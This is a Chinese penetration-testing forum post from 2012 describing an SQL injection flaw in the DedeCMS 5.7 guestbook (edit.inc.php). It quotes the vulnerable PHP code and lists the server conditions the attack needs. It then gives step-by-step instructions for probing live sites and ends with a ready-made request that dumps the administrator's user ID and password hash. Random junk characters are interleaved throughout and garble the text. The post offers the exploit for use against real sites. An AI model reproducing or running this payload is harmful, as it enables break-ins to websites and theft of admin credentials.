中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
0 M" O- Y0 D& d6 D1 t
; f* Y7 J' {& W/ b& a
漏洞文件edit.inc.php具体代码:
/ Z& K! @+ O |: H5 h+ Y: h
# r+ X7 b5 Y) |# x- N
< ?php
& \- |0 l, Q0 z9 Q5 t% |
" @+ m1 k, K5 c0 A5 o
if(!defined('DEDEINC')) exit('Request Error!');
+ g# X E$ I& m# D: a
l2 K" k/ z2 q5 S# n' e$ H
* V! O& I! p0 N' ~, D9 ~
; H( K% v% c6 r/ Y6 t @: E
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
7 W, a# |+ ]7 g: M/ o: i9 p8 h6 ?
* b: I+ X& I5 `) }$ |
else $GUEST_BOOK_POS = "guestbook.php";
$ ` F2 M' D5 @) l
' t' x* R+ ^* ?3 R# l3 N6 E5 w
5 x' U; m0 |( X- l" S
8 W: B$ M. S P0 n- H. X
$id = intval($id);
/ r0 }! {$ D0 g; \
8 f g0 W/ [7 W, `3 Y% a, l! a# v
if(empty($job)) $job='view';
( f9 z% K# Y7 Q1 c6 ?3 k- \ ?
+ r4 v# C/ m& \" C+ `
: y @+ e4 Q' S2 M
& ?% n% W# F/ l
if($job=='del' && $g_isadmin)
" [% }% d/ t4 c; u0 {" j
! G3 ]5 C6 j5 B- c, C
{
4 y: C1 I+ @* }& w8 C& C
4 h, g8 ?& }) e( H3 l d
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
. [! T4 L- \1 L/ B+ i
: L# u: o' \- B" p5 W' w/ B
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
( p: S5 X- v! g# w6 Q
9 b' r$ M+ _) j2 t2 I
exit();
( I" R$ y F' k/ o8 C1 G
( {; i6 D% V& e: }& L8 w
}
0 t& W6 p0 _ c) n% F* I
8 L" E( ]$ ?% }
else if($job=='check' && $g_isadmin)
0 D7 [9 N+ D6 V1 z' q: c! B
. M# _: Q$ ~- C$ e9 S6 B% S8 S
{
7 g; ~0 i9 [$ x6 X: m
- F) m* b9 r2 L7 S5 r) w
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
5 I7 [9 R: G) I
Y0 k# w: N# U# f: G
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
2 B* O4 \% k( `: b: b" ~5 Q7 y
( o( e$ D7 Q+ Q6 h; g7 M9 J* x
exit();
; K9 E$ s. l3 L3 C. @; Q
6 [2 q2 n' {1 N' ^& t3 X) _2 L
}
& V% Q1 {6 i! R+ ^
9 e* X- H: G2 O% |+ p
else if($job=='editok')
: v$ Y. p; O/ S x! h
& ]4 ?" H; c& G! |
{
5 U7 A6 d- [/ U, Q4 q/ |
" `' {4 D' M2 ^* j5 C1 q5 E% d6 V8 v
$remsg = trim($remsg);
4 f% e0 I5 W& D) S& `& O0 v
5 e) h7 Q% E/ _" R
if($remsg!='')
9 T! i: Y) i0 U
. x" Y6 l( y* l% w3 w
{
0 d: ?* V" S% f I q
) Z& Z3 k( O- _# T, u' |8 `
//管理员回复不过滤HTML By:Errorera blog:errs.cc
; h$ b* k0 d: N1 ^) [5 b+ O
( i7 s4 Z/ Z& `& f8 r! r6 o
if($g_isadmin)
1 F% O: R$ b/ z) o: `! M; j( C
* T/ d3 Q) l7 q" {
{
% b; V$ F4 |. u% o
+ Q9 J7 b+ r& i5 s1 H# K
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
7 j% D1 W8 c. S' r' O
' o' l- d( z0 e Z7 A7 I. e h
//$remsg <br /><font color=red>管理员回复:</font> }
' d9 }+ _' N9 F# v; B C
" Q! B5 Z% k( Z% |
else
$ O# }# o3 b. ^8 r7 @6 U3 g# g% ^
" c4 G# a3 a- Y8 ~! U L! U' ~8 ^
{
. g* i9 Y) n0 r
5 B g6 C# M" J! O" ]1 ~* g9 D
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
5 q" D6 j$ Q% Y6 X* N) f
; [ o2 g" c6 P+ _
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
" Y+ M! }1 S2 l
5 T: \" V- z3 S5 K* [9 T. b
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
) O6 N$ \( O; U# @% e6 `
+ q1 P O: a( ?3 A
$msg = $oldmsg.$remsg;
e) O2 v$ v8 N* O
) z* e4 |" M# V& k
}
- u+ f6 f% `+ P( t
5 |& F1 ]- s: ^; A: N
}
% P7 b. X$ p+ _6 q+ e
4 g& u6 I2 g" x4 y/ ~
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
0 M t( R8 [' f- B _, ^ [
& g0 q Y$ f- N Z- u
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
0 O' n5 `; T( Q$ p1 h" s
$ ]# b; v6 z! T' `
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
) e" T4 t5 J+ O* i' ~% P9 R
4 h+ }0 T3 j, l! G: _7 R
exit();
% i: A N0 L* L2 d: i N D
# m5 f% n% }, q+ O
}
$ a' d2 j S& d6 Y. k! q7 Z
x! E8 x$ H+ q0 m
//home:
www.errs.cc
6 I) L B6 C' _) ]3 @
- Z8 O5 V8 b: {# c$ U2 {
if($g_isadmin)
4 N5 h) l6 @$ [9 J) Q. i. @
$ w( O) M9 k1 W, a, s+ f
{
4 [! ~4 Z, m6 s$ }% b5 f, T
( H, ^) [4 c6 p7 O# j X
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
% ]2 b# \! A+ g$ l
( s+ i, e s& Q; W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
9 }& U% E8 [( X( a) L/ i7 _0 w& E8 ?1 C
4 T: v' _1 Q+ L! p# C0 Z
}
) `9 d$ S4 v* ]
Q. y, ^$ N( X( E, i9 q
else
7 C& W4 G& h. L. U! l
9 D0 s4 w6 V( u( f% O1 r( e
{
. b3 U* W& W; [5 y/ Z$ }; _
/ F6 w+ v/ X" P: A2 w$ n9 I6 q7 q. G
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
7 I1 r8 v; T' ^: p9 p* H
# `; }1 R" q+ U/ k; E( t! O
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
2 V% e) f5 j# X& C; n8 R$ c
* ]2 L4 @8 t$ }( N/ M+ f
} 漏洞成功需要条件:
$ ?7 u z3 d8 t8 c2 d4 W% Z& S
1. php magic_quotes_gpc=off
0 t7 c1 `9 I' d0 `. S& @
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
# C6 {- f! b6 Z1 Z G) h
( L' o% S! d" i: I, y( N+ z
怎么判断是否存在漏洞:
, q+ U. x, ~3 t
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
+ d& A2 b/ m" P. v/ P. m" d
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
& |9 C0 z, }- n) f/ y
访问:
+ R5 b1 t8 b, B# G ?* C, C
5 V2 V5 I/ y& x
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
2 a2 b* I% H& Z7 U3 _ e
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
4 m1 K1 D" E- u, P0 W3 \# U
+ o; [* p7 h6 Z4 G) ^
; P+ f- k" O# y: R4 ?$ [6 n0 R, G& S
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, w9 r/ p$ F; V6 S( ?' K) U& l, Y, l
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
4 n! t- B9 k) ^* |4 e3 c: J
那么再次访问
' z& s3 O% J! F W
% @/ S$ O( m- p/ x' @5 i
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
6 W4 `" ?# r% M! C2 c
; r( W0 s5 Q4 [" ^) G% ~
大概利用就是这样,大家有兴趣的多研究下!!
( b) b2 e9 M$ [$ a: ^
/ k4 Q& m% B3 j. v8 H1 J( A
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
& }7 q/ m7 o8 ? e- y2 z3 J
, y' }+ X, P/ w: n+ K5 S- f, e+ N
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2